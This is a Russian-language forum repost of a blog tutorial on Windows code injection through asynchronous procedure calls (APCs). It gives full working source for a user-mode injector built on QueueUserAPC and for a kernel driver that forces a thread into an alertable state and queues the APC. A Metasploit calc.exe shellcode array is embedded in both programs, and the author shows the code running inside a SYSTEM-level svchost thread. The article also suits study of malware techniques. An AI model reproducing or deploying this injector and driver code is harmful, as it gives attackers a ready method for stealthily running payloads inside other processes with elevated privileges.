Малварь как искусство Способы запуска шелл-кода


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 082
Репутация
8 199
Вообще делал перепост статьи вот этой:Малварь как искусство - Способы внедрения шелл-кода

Но там ещё прикольная статья 2016 года про запуск шелл-кода, очень интересно...:)

Источник вот:

Кстати отличный блог, много чего для себя там узнал ! :)

Всем привет! Что если вас попросят перечислить методы внедрения кода под Windows? Думаю, вам в первую очередь придёт в голову — метод создания удалённых потоков. И в самом деле, что может быть проще, чем выделить память в другом процессе, скопировать туда код и передать на него управление, создав новый поток с направленной точкой входа на внедрённый код. Либо, можно изменить IP регистр какого-либо потока на внедрённый нами код, используя функцию SetThreadContext. В обоих случаях потоки, будут работать в контексте их родительского процесса.

Но есть ещё одна возможность выполнения кода, в контексте целевого потока! Как это так! Чтобы ещё больше вас заинтересовать, эту технику использует буткит Black Internet Trojan, когда внедряет свой код из неразмеченной части жёсткого диска в поток процесса Winlogon. Круто да? Сегодня мы разберём данную технику внедрения кода как в пользовательском режиме, так и в режиме ядра и напишем пару тулз, чтобы закрепить материал. Но, для начала, давайте всё-таки разберёмся что такое APC

Asynchronous Procedure call

KAPC.jpg

Поля структуры _KAPC

Асинхронный вызов процедур. Наверное, вы сразу подумали, что тут речь пойдёт о прерываниях и исключениях? Ну раз так, то не буду вас разочаровывать и выделю для них немного места в статье. Начнём с того, что в исполнительной системе Windows существуют механизмы, позволяющие «отвлечь» процессор от выполнения какого-либо кода. Это либо прерывания, либо исключения. Обработка прерываний (диспетчеризация) начинается после наступления события, вызвавшего само прерывание. События могут инициироваться либо программно, либо железяками, подключёнными к компу. Исключения в отличии от прерывания, являются более-менее запланированными. Поэтому прерывания — асинхронная штуковина, а исключения — синхронная. Генерироваться они (прерывания и исключения) могут как программно, так и аппаратно.

Кстати говоря, программное прерывание может быть выдано самим ядром. В данный момент, нас будут интересовать именно программные прерывания. APC — одна из задач Windows, которая решается методом генерации программного прерывания. APC всегда выполняются в контексте целевого потока. APC вызовы представляются как объект, рассмотреть который можно, набрав команду «dt _KAPC».

Данные объекты ядра можно выставить в очередь на выполнения конкретному потоку. Когда поток начнёт своё выполнение, то сначала выполнятся все APCхи, стоящие в очереди (если я не прав, поправьте меня). APC вызовы бывают двух типов: режима ядра и режима пользователя. В режиме пользователя поток может и не разрешить выполнение APC вызова. Чтобы APC выполнилась, поток должен находиться в сигнальном состоянии. Например, поток подвис на выполнении SleepEx.

User Mode

Давайте попробуем написать свою программулину в пользовательском режиме, которая будет инжектить shell code в какой-нибудь процесс и вставлять APC в какой-нибудь поток данного процесса.Алгоритм будет следующий:

  1. Получаем дескриптор процесса по его идентификатору
  2. Выделяем в целевом процессе память под shell code с нужными правами
  3. Перечисляем все потоки процесса
  4. Вставляем в поток APC объект в очередь выполнения, используя API функцию QueueUserAPC.
Как вы видите, за исключением двух последних пунктов, у нас всё делается тоже самое, что и при методе создания удалённых потоков. Поэтому давайте сразу посмотрим на исходный код программы, реализующей этот алгоритм.
Код:
#include <Windows.h>
#include <TlHelp32.h>
#include <stdio.h>

#define STATUS_SUCCESS 0

/*exec calc.exe*/
char shellcode[] =
    "\x47\xf9\x93\x9b\x58\x9f\x4a\xf5\x5a\xf5\x16\x48\x4d\x5b"
    "\xf8\xfd\x52\x99\x06\x50\xd9\xcc\xbe\x56\x6c\xdf\xb1\xd9"
    "\x74\x24\xf4\x5f\x2b\xc9\xb1\x31\x31\x77\x18\x83\xef\xfc"
    "\x03\x77\x42\x8e\x2a\x4d\x82\xcc\xd5\xae\x52\xb1\x5c\x4b"
    "\x63\xf1\x3b\x1f\xd3\xc1\x48\x4d\xdf\xaa\x1d\x66\x54\xde"
    "\x89\x89\xdd\x55\xec\xa4\xde\xc6\xcc\xa7\x5c\x15\x01\x08"
    "\x5d\xd6\x54\x49\x9a\x0b\x94\x1b\x73\x47\x0b\x8c\xf0\x1d"
    "\x90\x27\x4a\xb3\x90\xd4\x1a\xb2\xb1\x4a\x11\xed\x11\x6c"
    "\xf6\x85\x1b\x76\x1b\xa3\xd2\x0d\xef\x5f\xe5\xc7\x3e\x9f"
    "\x4a\x26\x8f\x52\x92\x6e\x37\x8d\xe1\x86\x44\x30\xf2\x5c"
    "\x37\xee\x77\x47\x9f\x65\x2f\xa3\x1e\xa9\xb6\x20\x2c\x06"
    "\xbc\x6f\x30\x99\x11\x04\x4c\x12\x94\xcb\xc5\x60\xb3\xcf"
    "\x8e\x33\xda\x56\x6a\x95\xe3\x89\xd5\x4a\x46\xc1\xfb\x9f"
    "\xfb\x88\x91\x5e\x89\xb6\xd7\x61\x91\xb8\x47\x0a\xa0\x33"
    "\x08\x4d\x3d\x96\x6d\xb1\xdf\x33\x9b\x5a\x46\xd6\x26\x07"
    "\x79\x0c\x64\x3e\xfa\xa5\x14\xc5\xe2\xcf\x11\x81\xa4\x3c"
    "\x6b\x9a\x40\x43\xd8\x9b\x40\x20\xbf\x0f\x08\x89\x5a\xa8"
    "\xab\xd5";


BOOL InsertAPC(DWORD pid, PVOID shellcode)
{
    DWORD result = 0;
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (hProcess != INVALID_HANDLE_VALUE)
    {
        HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

        if (hThreadSnap != INVALID_HANDLE_VALUE)
        {
            THREADENTRY32 threadEntry;
            threadEntry.dwSize = sizeof(THREADENTRY32);

            if (Thread32First(hThreadSnap, &threadEntry))
            {
                DWORD threadId;
                HANDLE hThread;
                PAPCFUNC pfnAPC;
                do {
                    if (threadEntry.th32OwnerProcessID == pid)
                    {
                        threadId = threadEntry.th32ThreadID;
                        hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId);
                        if (hThread != INVALID_HANDLE_VALUE)
                        {
                            pfnAPC = (PAPCFUNC)shellcode;
                            result = QueueUserAPC(pfnAPC, hThread, (ULONG_PTR)NULL);
                            CloseHandle(hThread);
                            //if (result)
                                //break;
                        }
                    }
                } while (Thread32Next(hThreadSnap, &threadEntry));
            }
        }
        CloseHandle(hThreadSnap);
        CloseHandle(hProcess);
    }
    return result;
}

DWORD GetProcessPid(LPWSTR processName)
{
    DWORD pid = 0;
    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap != INVALID_HANDLE_VALUE)
    {   
        PROCESSENTRY32 processEntry;   
        processEntry.dwSize = sizeof(PROCESSENTRY32);

        if (Process32First(hProcessSnap, &processEntry))
            do
            {
                if (!wcscmp(processEntry.szExeFile, processName))
                {
                    pid = processEntry.th32ProcessID;
                    break;
                }

            } while (Process32Next(hProcessSnap, &processEntry));       
    
        CloseHandle(hProcessSnap);
        return pid;
    }
}

LPVOID injectShellcode(DWORD pid, LPVOID shellCode, DWORD size)
{
    LPVOID result = NULL;
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    if (hProcess != INVALID_HANDLE_VALUE)
    {
        LPVOID memory = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

        if (memory)
            if (WriteProcessMemory(hProcess, memory, shellCode, size, NULL))
                result = memory;
        CloseHandle(hProcess);
    }
    return result;
}

LPWSTR processName = L"Scylla_x86.exe";

extern "C" int main()
{
    DWORD pid = GetProcessPid(processName);

    if (pid)
    {
        LPVOID buf = injectShellcode(pid, shellcode, strlen(shellcode));

        if (buf)
        {       
            if (InsertAPC(pid, buf))
                printf("+ %S pid: %d\n", processName, pid);
            else
                printf("- %S pid: %d\n", processName, pid);                   
        }
    }
 
    system("pause");
    return 0;
}
В данном примере я взял шелкод с метасплойта, который запускает калькулятор и после этого завершает целевой поток. Удачнее было бы взять пример шелкода, который бы не завершал целевой поток, но мне было лень и я взял, какой был под рукой. Поэтому, при выполнении APC вызова, у нас поток доложен завершиться, но калькулятор всё равно должен запуститься. Давайте проверим!

APC-user-mode.jpg

user mode APC inject — результат работы

Да! Это работает!

Kernel Mode

Ну, теперь пришло время разобраться, как можно сделать то же самое, только из режима ядра. Мы напишем две программы: приложение, которое будет передавать нашему драйверу id процесса, в поток которого будет вставляться APCха и сам драйвер, который будет инжектить тот же самый shell код в адресное пространство нужного нам процесса и вставлять APC вызов в очередь контекста выполнения целевого потока.

Если в предыдущем примере у нас APCха вставлялась во все потоки (лучше бы, конечно, проверять состояние потока, и если он находится в сигнальном, то только тогда вставлять объект APC, но мне, в общем вы догадались что), то в этот раз мы принудительно изменим поток в сигнальное состояние. Чтобы это сделать, там нужно изменить с 0 на 1 поле ApcState.UserApcPending в структуре _KTHREAD структуры _ETHREAD, которая описывает объект ядра — поток. Поле ApcState в _ETHREAD в моей версии винды находится по смещению 0x40 байт. Поле UserApcPending находится по смещению 0x16 байт относительно ApcState. Эти структуры недокументированные и смещения в них могут изменяться от версии к версии.

Для примера я захардкодил их, но в реальных программах их нужно научиться получать динамически. Обычно это делается путём поиска каких-либо закономерностей. В вашем случае вы можете получить смещения используя отладчик ядра.

APC_STATE.jpg

Дамп структур _KAPC_STATE и часть _KTHREAD

Прежде чем вставлять APCху, мы должны её инициализировать, впрочем, как и любой другой объект ядра. Для этого используется функция KeInitializeApc. После этого APCха уже вставляется в очередь, вызовом функции KeInsertQueueApc. Давайте рассмотрим прототипы этих функций.
Код:
NTKERNELAPI VOID KeInitializeApc(
    PKAPC Apc,
    PKTHREAD Thread,
    KAPC_ENVIRONMENT Environment,
    PKKERNEL_ROUTINE KernelRoutine,
    PKRUNDOWN_ROUTINE RundownRoutine,
    PKNORMAL_ROUTINE NormalRoutine,
    KPROCESSOR_MODE ProcessorMode,
    PVOID NormalContext
);

NTKERNELAPI BOOLEAN KeInsertQueueApc(
    PRKAPC Apc,
    PVOID SystemArgument1,
    PVOID SystemArgument2,
    KPRIORITY Increment
);

typedef VOID (*PKKERNEL_ROUTINE)(
    PKAPC Apc,
    PKNORMAL_ROUTINE *NormalRoutine,
    PVOID *NormalContext,
    PVOID *SystemArgument1,
    PVOID *SystemArgument2
);
typedef VOID (*PKRUNDOWN_ROUTINE)(
    PKAPC Apc
);

typedef VOID (*PKNORMAL_ROUTINE)(
    PVOID NormalContext,
    PVOID SystemArgument1,
    PVOID SystemArgument2
);

typedef enum _KAPC_ENVIRONMENT {
    OriginalApcEnvironment,
    AttachedApcEnvironment,
    CurrentApcEnvironment,
    InsertApcEnvironment
} KAPC_ENVIRONMENT, *PKAPC_ENVIRONMENT;
Поле Environment определяет в какой среде будет выполняться APC. Например, OriginalApcEnvironment говорит о том, что APC будет выполняться в том же контексте, в каком выполняется и целевой поток. APC в режиме ядра бывают двух видов: специальные и нормальные. Специальные выполняются с уровнем приоритета выполнения IRQL APC_LEVEL, а нормальные — с самым низким, PASSIVE_LEVEL. KernelRoutine — как раз та функция, которая будет выполнена в режиме ядра с IRQL равным APC_LEVEL, а NormalRoutine — с PASSIVE_LEVEL. RundownRoutine — функция, которая выполнится, когда поток завершится. NormalContext — параметр, который будет передаваться функции NormalRoutine.

Остальные параметры описывать не буду, так как они очевидны. После того, как мы инициализировали объект APC, мы должны его поставить в очередь, используя KeInsertQueueApc. В неё мы передаём уже инициализированный объект APC, SystemArgument1/2 — необязательные аргументы, поэтому мы их рассматривать не будем. Increment — это приоритет выполнения. Ну хватит теории, давайте кодить! Начнём с приложухи.
Код:
#include <iostream>
#include <Windows.h>
#include "..\..\DriverStarter\DeiverStarter\DriverStarter.h"

using namespace std;

//возвращает полную текущую диру
char *getFullCurrentDir()
{
    char *path = (char *)calloc(MAX_PATH, sizeof(char));
    HMODULE module = GetModuleHandleA(NULL);
    GetModuleFileNameA(module, path, MAX_PATH);
    for (int i = strlen(path); i > 1; i--)
        if (path[i] == '\\') {
            path[i + 1] = '\0';
            break;
        }
    return path;
}

int main()
{
    DWORD pid;
    char *file = "InjectAPC.sys";
    char *deviceName = "InjectAPC";

    char *serciceName = "InjectAPCservice";
    char *displayName = "InjectAPCservice";

    char *fullPath = getFullCurrentDir();
    strcat(fullPath, file);

    DriverStarter driver(fullPath, serciceName, displayName);
    DriverSender sender(deviceName);

    cout <;<; driver.getDriverPath() <;<; endl;
    driver.LoadDriver();
    do
    {
        cout <;<; "Pid to inject: "; cin >> pid;
        sender.Write(&pid, sizeof(DWORD));
    } while (pid);
 
    sender.~DriverSender();
    driver.UnloadDriver();
    driver.~DriverStarter();
    system("pause");
    free(fullPath);
    return 0;
}
Тут ничего сложного нет. Просто есть два объекта, один подгружает драйвер (DriverStarter), а другой управляет им (DriverSender). Если вам интересны исходники этих классов, то пишите в коменты. Я их не публикую, так как статья не об этом. Тут программа ждёт ввода id процесса, который затем отправляет драйверу. А вот и код драйвера:
Код:
#include <ntifs.h>
#include <string.h>
#include <Ntstrsafe.h>

#pragma comment(lib,"ntoskrnl.lib")
#pragma comment(lib,"Ntstrsafe.lib")

#define deviceName L"\\Device\\injectAPC"
#define symbolicName L"\\DosDevices\\injectAPC"

#ifndef SystemProcessAndThreadInformation
#define SystemProcessAndThreadInformation 5
#endif

#ifndef INVALID_HANDLE_VALUE
#define INVALID_HANDLE_VALUE 0xFFFFFFFF
#endif


/*exec calc.exe*/
char shellcode[] =
    "\x47\xf9\x93\x9b\x58\x9f\x4a\xf5\x5a\xf5\x16\x48\x4d\x5b"
    "\xf8\xfd\x52\x99\x06\x50\xd9\xcc\xbe\x56\x6c\xdf\xb1\xd9"
    "\x74\x24\xf4\x5f\x2b\xc9\xb1\x31\x31\x77\x18\x83\xef\xfc"
    "\x03\x77\x42\x8e\x2a\x4d\x82\xcc\xd5\xae\x52\xb1\x5c\x4b"
    "\x63\xf1\x3b\x1f\xd3\xc1\x48\x4d\xdf\xaa\x1d\x66\x54\xde"
    "\x89\x89\xdd\x55\xec\xa4\xde\xc6\xcc\xa7\x5c\x15\x01\x08"
    "\x5d\xd6\x54\x49\x9a\x0b\x94\x1b\x73\x47\x0b\x8c\xf0\x1d"
    "\x90\x27\x4a\xb3\x90\xd4\x1a\xb2\xb1\x4a\x11\xed\x11\x6c"
    "\xf6\x85\x1b\x76\x1b\xa3\xd2\x0d\xef\x5f\xe5\xc7\x3e\x9f"
    "\x4a\x26\x8f\x52\x92\x6e\x37\x8d\xe1\x86\x44\x30\xf2\x5c"
    "\x37\xee\x77\x47\x9f\x65\x2f\xa3\x1e\xa9\xb6\x20\x2c\x06"
    "\xbc\x6f\x30\x99\x11\x04\x4c\x12\x94\xcb\xc5\x60\xb3\xcf"
    "\x8e\x33\xda\x56\x6a\x95\xe3\x89\xd5\x4a\x46\xc1\xfb\x9f"
    "\xfb\x88\x91\x5e\x89\xb6\xd7\x61\x91\xb8\x47\x0a\xa0\x33"
    "\x08\x4d\x3d\x96\x6d\xb1\xdf\x33\x9b\x5a\x46\xd6\x26\x07"
    "\x79\x0c\x64\x3e\xfa\xa5\x14\xc5\xe2\xcf\x11\x81\xa4\x3c"
    "\x6b\x9a\x40\x43\xd8\x9b\x40\x20\xbf\x0f\x08\x89\x5a\xa8"
    "\xab\xd5";

typedef enum _KAPC_ENVIRONMENT
{
    OriginalApcEnvironment,
    AttachedApcEnvironment,
    CurrentApcEnvironment,
    InsertApcEnvironment
}KAPC_ENVIRONMENT,*PKAPC_ENVIRONMENT;

typedef struct _SYSTEM_THREAD_INFORMATION
{
    LARGE_INTEGER KernelTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER CreateTime;
    ULONG WaitTime;
    PVOID StartAddress;
    CLIENT_ID ClientId;
    KPRIORITY Priority;
    LONG BasePriority;
    ULONG ContextSwitches;
    ULONG ThreadState;
    KWAIT_REASON WaitReason;
}SYSTEM_THREAD_INFORMATION,*PSYSTEM_THREAD_INFORMATION;


NTSTATUS ZwQuerySystemInformation(ULONG InfoClass,PVOID Buffer,ULONG Length,PULONG ReturnLength);
LPSTR PsGetProcessImageFileName(PEPROCESS Process);

void KeInitializeApc(
    PRKAPC Apc,
    PRKTHREAD Thread,
    KAPC_ENVIRONMENT Environment,
    PKKERNEL_ROUTINE KernelRoutine,
    PKRUNDOWN_ROUTINE RundownRoutine,
    PKNORMAL_ROUTINE NormalRoutine,
    KPROCESSOR_MODE ProcessorMode,
    PVOID NormalContext
    );
 
BOOLEAN KeInsertQueueApc(
    PRKAPC Apc,
    PVOID SystemArgument1,
    PVOID SystemArgument2,
    KPRIORITY Increment
    );

typedef void *LPVOID;
typedef unsigned long int DWORD;

typedef struct _SYSTEM_PROCESS_INFORMATION
{
    ULONG NextEntryOffset;
    ULONG NumberOfThreads;
    LARGE_INTEGER WorkingSetPrivateSize;
    ULONG HardFaultCount;
    ULONG NumberOfThreadsHighWatermark;
    ULONGLONG CycleTime;
    LARGE_INTEGER CreateTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER KernelTime;
    UNICODE_STRING ImageName;
    KPRIORITY BasePriority;
    HANDLE UniqueProcessId;
    HANDLE InheritedFromUniqueProcessId;
    ULONG HandleCount;
    ULONG SessionId;
    ULONG_PTR UniqueProcessKey;
    SIZE_T PeakVirtualSize;
    SIZE_T VirtualSize;
    ULONG PageFaultCount;
    SIZE_T PeakWorkingSetSize;
    SIZE_T WorkingSetSize;
    SIZE_T QuotaPeakPagedPoolUsage;
    SIZE_T QuotaPagedPoolUsage;
    SIZE_T QuotaPeakNonPagedPoolUsage;
    SIZE_T QuotaNonPagedPoolUsage;
    SIZE_T PagefileUsage;
    SIZE_T PeakPagefileUsage;
    SIZE_T PrivatePageCount;
    LARGE_INTEGER ReadOperationCount;
    LARGE_INTEGER WriteOperationCount;
    LARGE_INTEGER OtherOperationCount;
    LARGE_INTEGER ReadTransferCount;
    LARGE_INTEGER WriteTransferCount;
    LARGE_INTEGER OtherTransferCount;
    SYSTEM_THREAD_INFORMATION Threads[1];
}SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;


/*************************************ENTRY/UNLOAD****************************************/
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDeviceObject, IN PUNICODE_STRING RegistryPath);
void UnloadRoutine(IN PDRIVER_OBJECT pDeviceObject);
/*****************************************************************************************/

/**************************************CTL DISPATCHER*************************************/
NTSTATUS CtlDriverDispatch(IN PDEVICE_OBJECT pDeviceObject, IN PIRP Irp);
NTSTATUS CtlDriverDispatchWrite(IN PDEVICE_OBJECT pDeviceObject, IN PIRP);
NTSTATUS CtlDriverDispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP);
NTSTATUS CtlCreate(IN PDEVICE_OBJECT pDeviceObject, IN PIRP);
NTSTATUS CtlClose(IN PDEVICE_OBJECT pDeviceObject, IN PIRP);
/**********************************************************************************/


/*************************GLOBAL VAR**************************/
UNICODE_STRING    SymbolicLinkName;
PDEVICE_OBJECT deviceObject;

void APCKernelRoutine(
                IN PKAPC            pKAPC,
                IN PKNORMAL_ROUTINE pUserAPC,
                IN PVOID            pContext,
                IN PVOID            pSysArg1,
                IN PVOID            pSysArg2
               )
{

    DbgPrint("APC Kernel Routine Entered\n");
    ExFreePool(pKAPC);
    return;
}

DWORD InsertApc(PEPROCESS eProcess, LPVOID shellcode_, DWORD shellcodeSize)
{
    PSYSTEM_PROCESS_INFORMATION processInfo;
    LPVOID processInformaionBuffer;
    PKAPC_STATE ApcState;
    PKAPC apc;
    DWORD size = 0;
    PETHREAD eThread = NULL;
    LPVOID memory = NULL;
    NTSTATUS status = INVALID_HANDLE_VALUE;
    DWORD ApcStateOffset = 0x40;   

    DWORD pid = (DWORD)PsGetProcessId(eProcess);
    if (pid)
    {
        status = ZwQuerySystemInformation(SystemProcessAndThreadInformation, NULL, 0, &size);   
        if (status == STATUS_INFO_LENGTH_MISMATCH)
        {       
            processInformaionBuffer = ExAllocatePool(NonPagedPool, size);
            status = ZwQuerySystemInformation(SystemProcessAndThreadInformation, processInformaionBuffer, size, NULL);   
            if (processInformaionBuffer && NT_SUCCESS(status))
            {
                processInfo = (PSYSTEM_PROCESS_INFORMATION)processInformaionBuffer;

                while (processInfo->NextEntryOffset)
                {
                    if ((DWORD)processInfo->UniqueProcessId == pid)
                    {
                        DbgPrint("Process name: %s\n", PsGetProcessImageFileName(eProcess));
                        status = PsLookupThreadByThreadId(processInfo->Threads[0].ClientId.UniqueThread, &eThread);
                        if (NT_SUCCESS(status))
                        {
                            DbgPrint("Thread has been found!: 0x%08x, id: %d", eThread, PsGetThreadId(eThread));                       
                            KeAttachProcess(eProcess);
                            status = ZwAllocateVirtualMemory(NtCurrentProcess(), &memory, 0, &size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                            if (NT_SUCCESS(status))
                            {
                                // Set KAPC_STATE.UserApcPending on.
                                //+0x040 ApcState         : _KAPC_STATE in _KTHREAD
                                // +0x016 UserApcPending   : UChar in _KAPC_STATE
                                *((unsigned char *)eThread + 0x40+0x16) = 1;

                                DbgPrint("Allocated memory for shellcode!: 0x%08x", memory);
                                memcpy(memory, shellcode_, shellcodeSize);
                                apc = (PKAPC)ExAllocatePool(NonPagedPool, sizeof(KAPC));
                                if (apc)
                                {
                                    RtlZeroMemory(apc, sizeof(KAPC));
                                    KeInitializeApc(apc,
                                            eThread,
                                            OriginalApcEnvironment,
                                            (PKKERNEL_ROUTINE)APCKernelRoutine,
                                            NULL,
                                            (PKNORMAL_ROUTINE)memory,        //shell code
                                            UserMode,
                                            &size);
                                    status = KeInsertQueueApc(apc, NULL, NULL, 0);
                                    //ObDereferenceObject(eThread);
                                    //ObDereferenceObject(eProcess);                               
                                    DbgPrint("It Done!\n");                               
                                }

                            }
                            ZwFreeVirtualMemory(NtCurrentProcess(), memory, &size, MEM_RELEASE);
                            KeDetachProcess();
                        }

                    }                                   
                    processInfo = (PSYSTEM_PROCESS_INFORMATION) ((PUCHAR)processInfo + processInfo->NextEntryOffset);
                }
            }
            ExFreePool(processInformaionBuffer);
        }   
    }
    return status;
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDeviceObject, IN PUNICODE_STRING RegistryPath)
{
    NTSTATUS status;   
    UNICODE_STRING    DeviceName;
    PDRIVER_DISPATCH *pDispacher;
    DWORD pid = 0;
    PEPROCESS process = NULL;

    RtlInitUnicodeString(&DeviceName, deviceName);
    RtlInitUnicodeString(&SymbolicLinkName, symbolicName); 
 
    status = IoCreateDevice(pDeviceObject,0,&DeviceName,FILE_DEVICE_NULL,0,FALSE,&deviceObject);
    if (status == STATUS_SUCCESS)
    {
        status = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);
 
        pDispacher = pDeviceObject->MajorFunction;   
        pDeviceObject->DriverUnload = UnloadRoutine;

        pDispacher[IRP_MJ_DEVICE_CONTROL] = CtlDriverDispatch;
        pDispacher[IRP_MJ_WRITE] = CtlDriverDispatchWrite;
        pDispacher[IRP_MJ_READ] = CtlDriverDispatchRead;
        pDispacher[IRP_MJ_CREATE] = CtlCreate;
        pDispacher[IRP_MJ_CLOSE] = CtlClose;
 
        DbgPrint("driver loaded!\n");
        return status;
    }       
    DbgPrint("driver not loaded!");
    return status;
}
 
void UnloadRoutine(IN PDRIVER_OBJECT pDeviceObject)
{
    NTSTATUS status;
    status = IoDeleteSymbolicLink(&SymbolicLinkName);
    if (status == STATUS_SUCCESS) {
        IoDeleteDevice(deviceObject);
        DbgPrint("driver has been unloaded!\n");
        return;
    }
    DbgPrint("driver has`t been unloaded!");
}

NTSTATUS CtlDriverDispatch(IN PDEVICE_OBJECT pDeviceObject,IN PIRP Irp)
{   
    Irp->IoStatus.Information = 0;
    Irp->IoStatus.Status = STATUS_SUCCESS;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return STATUS_SUCCESS;
}

NTSTATUS CtlDriverDispatchWrite(IN PDEVICE_OBJECT pDeviceObject,IN PIRP Irp)
{
    PIO_STACK_LOCATION pIrpStack;
    DWORD pid;
    PEPROCESS process;

    pIrpStack=IoGetCurrentIrpStackLocation(Irp);
    Irp->IoStatus.Information = 0;
    DbgPrint("Write!\n");
    if (pIrpStack->MajorFunction == IRP_MJ_WRITE)
    {
        __try
        {     
            ULONG Length = pIrpStack->Parameters.Write.Length;
        

            memcpy(&pid, Irp->UserBuffer, sizeof(DWORD));
            DbgPrint("pid:%d \n", pid);
        
            if (PsLookupProcessByProcessId((HANDLE)pid, &process) == STATUS_SUCCESS)
            {
                DbgPrint("process: %s, pid: %d, _EPROCESS: 0x%08x\n", PsGetProcessImageFileName(process), pid, process);
                if (process)   
                    InsertApc(process, shellcode, sizeof(shellcode));
            }
        }
        __except(EXCEPTION_EXECUTE_HANDLER)   
        {
            DbgPrint("Error CtlDriverDispatchWrite");
        }
    }

    Irp->IoStatus.Status = STATUS_SUCCESS;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);   
    return STATUS_SUCCESS;     
}

NTSTATUS CtlDriverDispatchRead(IN PDEVICE_OBJECT pDeviceObject,IN PIRP Irp)
{   
    Irp->IoStatus.Information = 0;
    Irp->IoStatus.Status = STATUS_SUCCESS;
    IoCompleteRequest(Irp,IO_NO_INCREMENT);   
    return STATUS_SUCCESS;     
}

NTSTATUS CtlCreate(IN PDEVICE_OBJECT pDeviceObject,IN PIRP Irp)
{
    Irp->IoStatus.Status=STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;   
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return STATUS_SUCCESS;
}

NTSTATUS CtlClose(IN PDEVICE_OBJECT pDeviceObject,IN PIRP Irp)
{
    Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;
    IoCompleteRequest(Irp,IO_NO_INCREMENT);
    return STATUS_SUCCESS;
}

Тестим!

APC-Kernel-Mode.jpg

Kernel mode APC inject в действии

Если немного поиграться, то можно вот что увидеть:

System.jpg

Результат работы APC

На скрине видно, что удалось выполнить APC в контексте потока процесса svchost, который имеет системные привилегии. Но ещё бы! Ведь мы использовали драйвер!
 
Верх Низ